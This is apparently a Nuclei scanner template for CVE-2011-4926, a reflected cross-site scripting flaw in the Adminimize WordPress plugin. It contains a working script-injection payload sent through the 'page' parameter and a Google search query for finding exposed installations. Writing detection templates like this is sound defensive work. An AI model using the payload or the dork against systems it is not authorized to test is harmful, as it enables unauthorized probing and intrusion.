id: CVE-2011-4926

info:
  name: Adminimize 1.7.22 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in adminimize/adminimize_page.php in the Adminimize plugin before 1.7.22 for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.
  impact: |
    Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of Adminimize plugin (1.7.22) or apply the necessary patches to fix the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-4926
    - https://www.whitesourcesoftware.com/vulnerability-database/CVE-2011-4926
    - http://plugins.trac.wordpress.org/changeset?reponame=&new=467338@adminimize&old=466900@adminimize#file5
    - http://www.openwall.com/lists/oss-security/2012/01/10/9
    - http://wordpress.org/extend/plugins/adminimize/changelog/
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2011-4926
    cwe-id: CWE-79
    epss-score: 0.03108
    epss-percentile: 0.87003
    cpe: cpe:2.3:a:bueltge:adminimize:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: bueltge
    product: adminimize
    google-query: "inurl:\"/wp-content/plugins/adminimize/\""
  tags: cve2011,cve,wordpress,xss,wp-plugin,bueltge,vkev,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/adminimize/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Adminimize ==='

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/adminimize/adminimize_page.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022042c9d11981c6c9c6baf18cb94529befcde7ad44eb5395518e2a2075cb75d2da6022100c7f5e8db87ec0d9e4bbd16cba60285cbcfa30e53fe0c91821abb4a401f93fa95:922c64590222798bb761d5b6d8e72950